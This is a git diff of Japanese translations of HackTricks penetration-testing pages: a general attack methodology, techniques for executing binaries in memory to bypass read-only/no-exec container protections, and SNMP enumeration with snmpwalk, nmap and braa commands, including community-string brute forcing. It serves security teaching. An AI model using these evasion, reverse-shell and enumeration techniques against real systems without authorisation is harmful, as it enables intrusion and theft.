また、[**ソフトウェアの既知の脆弱性を見つける方法**](search-exploits.md)に関する小さなガイドもここにあります。
|
||||
|
||||
**インデックスにサービスがない場合は、Googleで他のチュートリアルを検索し、**追加してほしい場合はお知らせください。Googleで**何も見つからない**場合は、自分で**ブラインドペンテストを実施し、サービスに接続してファジングし、応答を読む**ことから始めることができます(あれば)。
|
||||
**インデックスにサービスがない場合は、Googleで他のチュートリアルを検索し、**追加してほしい場合はお知らせください。Googleで何も見つからない場合は、**自分でブラインドペンテストを実施し、**サービスに接続し、ファジングして応答を読むことから始めることができます(あれば)。
|
||||
|
||||
#### 5.1 自動ツール
|
||||
|
||||
**自動脆弱性評価を実行できるツールもいくつかあります。** **[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは、私が作成したツールで、この本にあるペンテストサービスに関するノートに基づいています。**
|
||||
**自動脆弱性評価を実行できるツールもいくつかあります。** **[**Legion**](https://github.com/carlospolop/legion)**を試してみることをお勧めします。これは私が作成したツールで、この本にあるペンテストサービスに関するノートに基づいています。**
|
||||
|
||||
#### **5.2- サービスのブルートフォース**
|
||||
#### **5.2 ブルートフォースサービス**
|
||||
|
||||
いくつかのシナリオでは、**ブルートフォース**が**サービスを妥協する**のに役立つかもしれません。[**ここで異なるサービスのブルートフォースのチートシートを見つけてください**](brute-force.md)**。**
|
||||
|
||||
|
@ -79,7 +79,7 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
|
|||
|
||||
何らかの方法で、**被害者でコードを実行する方法を見つけるべきです。**その後、[リバースシェルを取得するためにシステム内で使用できる可能性のあるツールのリストが非常に役立ちます](reverse-shells/)。
|
||||
|
||||
特にWindowsでは、**アンチウイルスを回避する**ためにいくつかの助けが必要かもしれません:[**このページを確認してください**](../windows-hardening/av-bypass.md)**。**\\
|
||||
特にWindowsでは、**アンチウイルスを回避するための助けが必要かもしれません**:[**このページを確認してください**](../windows-hardening/av-bypass.md)**。**\\
|
||||
|
||||
### 8- 内部
|
||||
|
||||
|
@ -99,14 +99,14 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
|
|||
|
||||
ボックス内で**root/Administrator**でない場合、**特権を昇格させる方法を見つけるべきです。**\
|
||||
ここに、[**Linux**](../linux-hardening/privilege-escalation/) **および** [**Windows**](../windows-hardening/windows-local-privilege-escalation/) **でローカルに特権を昇格させるためのガイドがあります。**\
|
||||
また、**Windowsがどのように機能するか**に関するこのページも確認してください:
|
||||
また、**Windowsがどのように機能するかに関するページを確認してください**:
|
||||
|
||||
* [**認証、資格情報、トークン特権、UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
|
||||
* [**NTLMの動作**](../windows-hardening/ntlm/)
|
||||
* Windowsで[**資格情報を盗む方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)
|
||||
* [_**Active Directory**_](../windows-hardening/active-directory-methodology/)に関するいくつかのトリック
|
||||
|
||||
**WindowsおよびLinuxのローカル特権昇格パスを列挙するための最良のツールも確認することを忘れないでください:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
**WindowsおよびLinuxのローカル特権昇格パスを列挙するための最良のツールを確認することを忘れないでください:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
|
||||
|
||||
#### **10.2- ドメイン特権昇格**
|
||||
|
||||
|
@ -114,22 +114,22 @@ _Hacktricksのロゴは_ [_@ppiernacho_](https://www.instagram.com/ppieranacho/)
|
|||
|
||||
### 11 - POST
|
||||
|
||||
#### **11.1 - ルーティング**
|
||||
#### **11**.1 - ルーティング
|
||||
|
||||
ホスト内でさらに多くの**パスワード**を見つけることができるか、**ユーザーの特権**で他のマシンに**アクセス**できるか確認してください。\
|
||||
ここで、[**Windowsでパスワードをダンプするさまざまな方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)を見つけてください。
|
||||
ここに、[**Windowsでパスワードをダンプするためのさまざまな方法**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md)があります。
|
||||
|
||||
#### 11.2 - 持続性
|
||||
|
||||
**システムを再度攻撃する必要がないように、2つまたは3つの異なる持続性メカニズムを使用してください。**\
|
||||
**ここに、Active Directoryに関するいくつかの** [**持続性トリック**](../windows-hardening/active-directory-methodology/#persistence)**があります。**
|
||||
**システムを再度攻撃する必要がないように、2つまたは3つの異なる持続メカニズムを使用してください。**\
|
||||
**ここに、Active Directoryでの** [**持続性のトリック**](../windows-hardening/active-directory-methodology/#persistence) **があります。**
|
||||
|
||||
TODO: WindowsとLinuxの持続性ポストを完成させる
|
||||
TODO: WindowsおよびLinuxの持続性ポストを完成させる
|
||||
|
||||
### 12 - ピボッティング
|
||||
|
||||
**収集した資格情報**で他のマシンにアクセスできるか、または**新しいホストを発見してスキャンする**必要があるかもしれません(ペンテスト手法を再度開始)。\
|
||||
この場合、トンネリングが必要になるかもしれません。[**トンネリングに関する投稿を見つけることができます**](tunneling-and-port-forwarding.md)。\
|
||||
**収集した資格情報**を使用して他のマシンにアクセスできるか、または**新しいホストを発見してスキャンする**必要があるかもしれません(ペンテスト手法を再度開始)。\
|
||||
この場合、トンネリングが必要になるかもしれません。ここに[**トンネリングに関する投稿があります**](tunneling-and-port-forwarding.md)。\
|
||||
また、[Active Directoryペンテスト手法](../windows-hardening/active-directory-methodology/)に関する投稿も確認するべきです。そこでは、横移動、特権昇格、資格情報のダンプに関するクールなトリックが見つかります。\
|
||||
[**NTLM**](../windows-hardening/ntlm/)に関するページも確認してください。Windows環境でピボッティングするのに非常に役立つかもしれません。
|
||||
|
||||
|
@ -151,7 +151,7 @@ TODO: WindowsとLinuxの持続性ポストを完成させる
|
|||
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
|
||||
* [**パディングオラクル**](../crypto-and-stego/padding-oracle-priv.md)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!**(_流暢なポーランド語の読み書きが必要_)。
|
||||
|
||||
|
|
|
@ -15,9 +15,9 @@ GCPハッキングを学び、実践する: <img src="../../../.gitbook/assets/g
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用中です!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
@ -25,12 +25,12 @@ GCPハッキングを学び、実践する: <img src="../../../.gitbook/assets/g
|
|||
|
||||
以下の動画では、このページで言及された技術がより深く説明されています:
|
||||
|
||||
* [**DEF CON 31 - Linuxメモリ操作の探求: ステルスと回避**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**DEF CON 31 - Linuxメモリ操作の探索: ステルスと回避**](https://www.youtube.com/watch?v=poHirez8jk4)
|
||||
* [**DDexec-ngとメモリ内dlopen()によるステルス侵入 - HackTricks Track 2023**](https://www.youtube.com/watch?v=VM\_gjjiARaU)
|
||||
|
||||
## 読み取り専用 / no-execシナリオ
|
||||
|
||||
Linuxマシンが**読み取り専用 (ro) ファイルシステム保護**でマウントされることがますます一般的になっています。特にコンテナでは、**`readOnlyRootFilesystem: true`**を`securitycontext`に設定するだけで、roファイルシステムでコンテナを実行することができます:
|
||||
Linuxマシンが**読み取り専用 (ro) ファイルシステム保護**でマウントされているのを見つけることはますます一般的になっています。特にコンテナでは、**`readOnlyRootFilesystem: true`**を`securitycontext`に設定するだけで、roファイルシステムでコンテナを実行するのが簡単だからです:
|
||||
|
||||
<pre class="language-yaml"><code class="lang-yaml">apiVersion: v1
|
||||
kind: Pod
|
||||
|
@ -48,14 +48,14 @@ securityContext:
|
|||
しかし、ファイルシステムがroとしてマウントされていても、**`/dev/shm`**は書き込み可能であるため、ディスクに何も書き込めないというのは偽りです。ただし、このフォルダは**no-exec保護**でマウントされるため、ここにバイナリをダウンロードしても**実行することはできません**。
|
||||
|
||||
{% hint style="warning" %}
|
||||
レッドチームの観点から見ると、これは**システムに既に存在しないバイナリをダウンロードして実行することを複雑にします**(バックドアや`kubectl`のような列挙ツールなど)。
|
||||
レッドチームの観点から見ると、これは**システムにすでに存在しないバイナリをダウンロードして実行することを複雑にします**(バックドアや`kubectl`のような列挙ツールなど)。
|
||||
{% endhint %}
|
||||
|
||||
## 最も簡単なバイパス: スクリプト
|
||||
|
||||
バイナリについて言及したことに注意してください。インタープリタがマシン内にある限り、**任意のスクリプトを実行できます**。例えば、`sh`が存在する場合は**シェルスクリプト**、`python`がインストールされている場合は**Pythonスクリプト**です。
|
||||
バイナリについて言及したことに注意してください。インタープリタがマシン内にある限り、**任意のスクリプトを実行できます**。たとえば、`sh`が存在する場合は**シェルスクリプト**、`python`がインストールされている場合は**Pythonスクリプト**です。
|
||||
|
||||
しかし、これはあなたのバイナリバックドアや他のバイナリツールを実行するには十分ではありません。
|
||||
ただし、これはバイナリバックドアや他のバイナリツールを実行するには十分ではありません。
|
||||
|
||||
## メモリバイパス
|
||||
|
||||
|
@ -65,12 +65,12 @@ securityContext:
|
|||
|
||||
マシン内に**Python**、**Perl**、または**Ruby**のような強力なスクリプトエンジンがある場合、メモリから実行するためにバイナリをダウンロードし、メモリファイルディスクリプタ(`create_memfd`システムコール)に保存できます。これはこれらの保護によって保護されないため、**`exec`システムコール**を呼び出して**fdを実行するファイルとして指定**できます。
|
||||
|
||||
これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、**バイナリが圧縮され、b64エンコードされ**、`create_memfd`システムコールを呼び出して作成された**fd**で**デコードおよび解凍する**ための指示を含むスクリプトが生成されます。
|
||||
これには、プロジェクト[**fileless-elf-exec**](https://github.com/nnsee/fileless-elf-exec)を簡単に使用できます。バイナリを渡すと、**バイナリが圧縮され、b64エンコードされ**、`create_memfd`システムコールを呼び出して作成された**fd**でそれを**デコードおよび解凍する**ための指示を含むスクリプトが生成されます。
|
||||
|
||||
{% hint style="warning" %}
|
||||
これは、PHPやNodeのような他のスクリプト言語では機能しません。なぜなら、スクリプトから生のシステムコールを呼び出す**デフォルトの方法がないため**、バイナリを保存するための**メモリfd**を作成するために`create_memfd`を呼び出すことができないからです。
|
||||
|
||||
さらに、`/dev/shm`にファイルを持つ**通常のfd**を作成しても機能しません。なぜなら、**no-exec保護**が適用されるため、実行することが許可されないからです。
|
||||
さらに、`/dev/shm`にファイルを持つ**通常のfd**を作成しても機能しません。なぜなら、**no-exec保護**が適用されるため、それを実行することは許可されないからです。
|
||||
{% endhint %}
|
||||
|
||||
### DDexec / EverythingExec
|
||||
|
@ -94,61 +94,61 @@ For more information about this technique check the Github or:
|
|||
|
||||
### MemExec
|
||||
|
||||
[**Memexec**](https://github.com/arget13/memexec)は、DDexecの自然な次のステップです。これは**DDexecシェルコードのデーモン化**であり、異なるバイナリを**実行したいとき**にDDexecを再起動する必要はなく、DDexec技術を介してmemexecシェルコードを実行し、**このデーモンと通信して新しいバイナリを読み込んで実行する**ことができます。
|
||||
[**Memexec**](https://github.com/arget13/memexec) は DDexec の自然な次のステップです。これは **DDexec シェルコードのデーモン化** であり、異なるバイナリを **実行したいとき** に DDexec を再起動する必要はなく、DDexec テクニックを介して memexec シェルコードを実行し、**このデーモンと通信して新しいバイナリを読み込んで実行する** ことができます。
|
||||
|
||||
**memexecを使用してPHPリバースシェルからバイナリを実行する方法の例**は[https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php)で見つけることができます。
|
||||
**memexec を使用して PHP リバースシェルからバイナリを実行する方法の例** は [https://github.com/arget13/memexec/blob/main/a.php](https://github.com/arget13/memexec/blob/main/a.php) で見つけることができます。
|
||||
|
||||
### Memdlopen
|
||||
|
||||
DDexecと同様の目的を持つ[**memdlopen**](https://github.com/arget13/memdlopen)技術は、**メモリにバイナリを読み込む**ための**簡単な方法**を提供します。依存関係を持つバイナリを読み込むことも可能です。
|
||||
DDexec と同様の目的を持つ [**memdlopen**](https://github.com/arget13/memdlopen) テクニックは、**メモリにバイナリを読み込む** より簡単な方法を提供します。依存関係を持つバイナリを読み込むことさえ可能です。
|
||||
|
||||
## Distroless Bypass
|
||||
|
||||
### What is distroless
|
||||
|
||||
Distrolessコンテナは、特定のアプリケーションやサービスを実行するために必要な**最小限のコンポーネント**(ライブラリやランタイム依存関係など)だけを含み、パッケージマネージャー、シェル、システムユーティリティなどの大きなコンポーネントは除外します。
|
||||
Distroless コンテナは、特定のアプリケーションやサービスを実行するために必要な **最小限のコンポーネント** のみを含み、ライブラリやランタイム依存関係を含みますが、パッケージマネージャー、シェル、システムユーティリティなどの大きなコンポーネントは除外されます。
|
||||
|
||||
Distrolessコンテナの目的は、**不要なコンポーネントを排除することによってコンテナの攻撃面を減少させ**、悪用可能な脆弱性の数を最小限に抑えることです。
|
||||
Distroless コンテナの目的は、**不要なコンポーネントを排除することによってコンテナの攻撃面を減少させ**、悪用可能な脆弱性の数を最小限に抑えることです。
|
||||
|
||||
### Reverse Shell
|
||||
|
||||
Distrolessコンテナでは、**通常のシェルを取得するための`sh`や`bash`**さえ見つからないかもしれません。また、`ls`、`whoami`、`id`などのバイナリも見つかりません... システムで通常実行するすべてのものです。
|
||||
Distroless コンテナでは、**通常のシェルを取得するための `sh` や `bash`** さえ見つからないかもしれません。また、`ls`、`whoami`、`id` などのバイナリも見つかりません... システムで通常実行するすべてのものです。
|
||||
|
||||
{% hint style="warning" %}
|
||||
したがって、**リバースシェル**を取得したり、通常のように**システムを列挙**したりすることは**できません**。
|
||||
したがって、**リバースシェル** を取得したり、通常のように **システムを列挙** したりすることは **できません**。
|
||||
{% endhint %}
|
||||
|
||||
しかし、もし侵害されたコンテナが例えばflaskウェブを実行している場合、pythonがインストールされているため、**Pythonリバースシェル**を取得できます。nodeを実行している場合はNodeリバースシェルを取得でき、ほとんどの**スクリプト言語**でも同様です。
|
||||
しかし、もし侵害されたコンテナが例えば Flask ウェブを実行している場合、Python がインストールされているため、**Python リバースシェル** を取得できます。Node を実行している場合は Node リバースシェルを取得でき、ほとんどの **スクリプト言語** でも同様です。
|
||||
|
||||
{% hint style="success" %}
|
||||
スクリプト言語を使用することで、言語の機能を利用して**システムを列挙**することができます。
|
||||
スクリプト言語を使用することで、言語の機能を利用して **システムを列挙** することができます。
|
||||
{% endhint %}
|
||||
|
||||
もし**`read-only/no-exec`**保護がなければ、リバースシェルを悪用して**ファイルシステムにバイナリを書き込み**、**実行**することができます。
|
||||
もし **`read-only/no-exec`** 保護がなければ、リバースシェルを悪用して **ファイルシステムにバイナリを書き込み**、**実行** することができます。
|
||||
|
||||
{% hint style="success" %}
|
||||
ただし、この種のコンテナでは通常これらの保護が存在しますが、**以前のメモリ実行技術を使用してそれらを回避する**ことができます。
|
||||
ただし、この種のコンテナでは通常これらの保護が存在しますが、**以前のメモリ実行テクニックを使用してそれらを回避する** ことができます。
|
||||
{% endhint %}
|
||||
|
||||
**RCE脆弱性を悪用してスクリプト言語の**リバースシェル**を取得し、メモリからバイナリを実行する方法の**例**は[**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE)で見つけることができます。
|
||||
**RCE 脆弱性を悪用してスクリプト言語のリバースシェルを取得し、メモリからバイナリを実行する方法の例** は [**https://github.com/carlospolop/DistrolessRCE**](https://github.com/carlospolop/DistrolessRCE) で見つけることができます。
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用中です!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
**ハッキングキャリア** に興味があり、ハッキング不可能なものをハッキングしたい方 - **私たちは採用中です!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWS ハッキングを学び、実践する:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCP ハッキングを学び、実践する:<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)をフォローしてください。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のgithubリポジトリにPRを提出してハッキングトリックを共有してください。
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop) を確認してください!
|
||||
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) または [**Telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live) をフォローしてください。
|
||||
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出してハッキングトリックを共有してください。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,7 +15,7 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_流暢なポーランド語の読み書きが必要_).
|
||||
|
||||
|
@ -34,8 +34,8 @@ SNMPは、**162/UDP**ポートも**トラップ**に使用します。これら
|
|||
|
||||
### MIB
|
||||
|
||||
SNMPアクセスが異なるメーカーや異なるクライアント-サーバーの組み合わせで機能することを保証するために、**管理情報ベース(MIB)**が作成されました。MIBは、**デバイス情報を保存するための独立したフォーマット**です。MIBは、デバイスのすべてのクエリ可能な**SNMPオブジェクト**が**標準化された**ツリー階層にリストされている**テキスト**ファイルです。少なくとも1つの`オブジェクト識別子(OID)`が含まれており、必要な**一意のアドレス**と**名前**に加えて、タイプ、アクセス権、およびそれぞれのオブジェクトの説明に関する情報も提供します。\
|
||||
MIBファイルは、`抽象構文表記法1(ASN.1)`に基づくASCIIテキストフォーマットで記述されています。**MIBはデータを含まない**が、**どこにどの情報があるか**、それがどのように見えるか、特定のOIDに対して返される値、または使用されるデータ型について説明します。
|
||||
SNMPアクセスが異なるメーカーや異なるクライアント-サーバーの組み合わせで機能することを保証するために、**管理情報ベース(MIB)**が作成されました。MIBは、**デバイス情報を保存するための独立したフォーマット**です。MIBは、デバイスのすべてのクエリ可能な**SNMPオブジェクト**が**標準化された**ツリー階層にリストされている**テキスト**ファイルです。少なくとも1つの`オブジェクト識別子`(`OID`)を含み、必要な**一意のアドレス**と**名前**に加えて、各オブジェクトのタイプ、アクセス権、および説明に関する情報も提供します。\
|
||||
MIBファイルは、`抽象構文表記法1`(`ASN.1`)に基づくASCIIテキスト形式で記述されています。**MIBはデータを含まない**が、**どこにどの情報があるか**、それがどのように見えるか、特定のOIDに対して返される値、または使用されるデータ型について説明します。
|
||||
|
||||
### OIDs
|
||||
|
||||
|
@ -47,8 +47,8 @@ MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな
|
|||
|
||||
![](<../../.gitbook/assets/SNMP\_OID\_MIB\_Tree (1).png>)
|
||||
|
||||
ここから**OIDツリーをナビゲート**できます: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) または**OIDの意味を確認**できます(例えば`1.3.6.1.2.1.1`): [http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1).\
|
||||
**よく知られたOID**には、MIB-2で定義されたシンプルネットワーク管理プロトコル(SNMP)変数を参照する[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1)内のものがあります。また、このOIDから保留中の**OID**を使用して、興味深いホストデータ(システムデータ、ネットワークデータ、プロセスデータなど)を取得できます。
|
||||
ここから**OIDツリーをナビゲート**できます: [http://www.oid-info.com/cgi-bin/display?tree=#focus](http://www.oid-info.com/cgi-bin/display?tree=#focus) または**OIDの意味を確認**できます(例えば`1.3.6.1.2.1.1`)[http://oid-info.com/get/1.3.6.1.2.1.1](http://oid-info.com/get/1.3.6.1.2.1.1)にアクセスしてください。\
|
||||
**よく知られたOID**には、MIB-2で定義されたシンプルネットワーク管理プロトコル(SNMP)変数を参照する[1.3.6.1.2.1](http://oid-info.com/get/1.3.6.1.2.1)内のものがあります。そして、このOIDから保留中の**OID**を使用して、興味深いホストデータ(システムデータ、ネットワークデータ、プロセスデータなど)を取得できます。
|
||||
|
||||
### **OIDの例**
|
||||
|
||||
|
@ -56,21 +56,21 @@ MIBオブジェクトID、またはOIDの最上位レベルは、さまざまな
|
|||
|
||||
**`1 . 3 . 6 . 1 . 4 . 1 . 1452 . 1 . 2 . 5 . 1 . 3. 21 . 1 . 4 . 7`**
|
||||
|
||||
このアドレスの内訳は以下の通りです。
|
||||
このアドレスの内訳は次のとおりです。
|
||||
|
||||
* 1 – これはISOと呼ばれ、OIDであることを示します。すべてのOIDが「1」で始まる理由です。
|
||||
* 1 – これはISOと呼ばれ、OIDであることを示します。これがすべてのOIDが「1」で始まる理由です。
|
||||
* 3 – これはORGと呼ばれ、デバイスを製造した組織を指定するために使用されます。
|
||||
* 6 – これはdodまたは国防総省で、最初にインターネットを確立した組織です。
|
||||
* 1 – これはインターネットの値で、すべての通信がインターネットを通じて行われることを示します。
|
||||
* 4 – この値は、このデバイスが政府機関ではなく民間組織によって製造されたことを示します。
|
||||
* 1 – この値は、デバイスが企業またはビジネスエンティティによって製造されたことを示します。
|
||||
|
||||
これらの最初の6つの値はすべてのデバイスで同じ傾向があり、基本的な情報を提供します。この数列は、デバイスが政府によって製造されていない限り、すべてのOIDで同じになります。
|
||||
これらの最初の6つの値はすべてのデバイスで同じ傾向があり、基本的な情報を提供します。この数のシーケンスは、デバイスが政府によって製造されていない限り、すべてのOIDで同じになります。
|
||||
|
||||
次の数のセットに進みます。
|
||||
|
||||
* 1452 – このデバイスを製造した組織の名前を示します。
|
||||
* 1 – デバイスのタイプを説明します。この場合、アラーム時計です。
|
||||
* 1 – デバイスのタイプを説明します。この場合、目覚まし時計です。
|
||||
* 2 – このデバイスがリモートターミナルユニットであることを示します。
|
||||
|
||||
残りの値はデバイスに関する特定の情報を提供します。
|
||||
|
@ -93,13 +93,13 @@ SNMPには2つの重要なバージョンがあります:
|
|||
### コミュニティ文字列
|
||||
|
||||
前述のように、**MIBに保存された情報にアクセスするには、バージョン1および2/2cではコミュニティ文字列を知っている必要があり、バージョン3では資格情報が必要です。**\
|
||||
**コミュニティ文字列には2種類あります**:
|
||||
**2種類のコミュニティ文字列**があります:
|
||||
|
||||
* **`public`** 主に**読み取り専用**機能
|
||||
* **`private`** **読み書き**一般
|
||||
|
||||
**OIDの書き込み可能性は使用されるコミュニティ文字列に依存する**ため、**たとえ**「**public**」が使用されている場合でも、**いくつかの値を書き込むことができるかもしれません。**また、**常に「読み取り専用」のオブジェクトが存在する可能性があります。**\
|
||||
オブジェクトに**書き込もうとすると、`noSuchName`または`readOnly`エラー**が受信されます\*\*.\*\*
|
||||
オブジェクトに**書き込もうとすると、**`noSuchName`または`readOnly`エラー**が受信されます\*\*.\*\*
|
||||
|
||||
バージョン1および2/2cでは、**悪い**コミュニティ文字列を使用すると、サーバーは**応答しません**。したがって、応答がある場合は、**有効なコミュニティ文字列が使用された**ことになります。
|
||||
|
||||
|
@ -140,7 +140,7 @@ nmap --script "snmp* and not snmp-brute" <target>
|
|||
|
||||
braa <community string>@<IP>:.1.3.6.* #Bruteforce specific OID
|
||||
```
|
||||
extended queries(download-mibs)のおかげで、次のコマンドを使用してシステムについてさらに多くの情報を列挙することが可能です:
|
||||
extended queries (download-mibs)のおかげで、次のコマンドを使用してシステムについてさらに多くの情報を列挙することが可能です:
|
||||
```bash
|
||||
snmpwalk -v X -c public <IP> NET-SNMP-EXTEND-MIB::nsExtendOutputFull
|
||||
```
|
||||
|
@ -193,7 +193,7 @@ SNMPサービス内で**値を書き込む**ことを許可する**文字列**
|
|||
|
||||
## **大規模SNMP**
|
||||
|
||||
[Braa](https://github.com/mteg/braa)は、大規模SNMPスキャナーです。このようなツールの意図された使用法は、もちろんSNMPクエリを行うことですが、net-snmpのsnmpwalkとは異なり、数十または数百のホストに同時に、そして単一のプロセスでクエリを行うことができます。したがって、非常に少ないシステムリソースを消費し、スキャンを非常に速く行います。
|
||||
[Braa](https://github.com/mteg/braa)は、大規模SNMPスキャナーです。このようなツールの意図された使用法はもちろん、SNMPクエリを行うことですが、net-snmpのsnmpwalkとは異なり、数十または数百のホストに同時に、かつ単一のプロセスでクエリを行うことができます。したがって、非常に少ないシステムリソースを消費し、スキャンを非常に速く行います。
|
||||
|
||||
Braaは独自のSNMPスタックを実装しているため、net-snmpのようなSNMPライブラリは必要ありません。
|
||||
|
||||
|
@ -203,7 +203,7 @@ braa ignite123@192.168.1.125:.1.3.6.*
|
|||
```
|
||||
これは手動で処理できない多くのMBの情報を抽出できます。
|
||||
|
||||
では、最も興味深い情報を見てみましょう([https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)から):
|
||||
では、最も興味深い情報を見てみましょう([https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/](https://blog.rapid7.com/2016/05/05/snmp-data-harvesting-during-penetration-testing/)):
|
||||
|
||||
### **デバイス**
|
||||
|
||||
|
@ -243,7 +243,7 @@ ACLが特定のIPのみがSNMPサービスをクエリできるように制限
|
|||
* snmpd.conf
|
||||
* snmp-config.xml
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**ハッキングキャリア**に興味があり、ハッキング不可能なものをハックしたい方 - **私たちは採用しています!** (_流暢なポーランド語の読み書きが必要です_)。
|
||||
|
||||
|
@ -295,7 +295,7 @@ GCPハッキングを学び、実践する:<img src="../../.gitbook/assets/grt
|
|||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを送信してください。**
|
||||
* **ハッキングのトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,30 +15,30 @@ Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" d
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
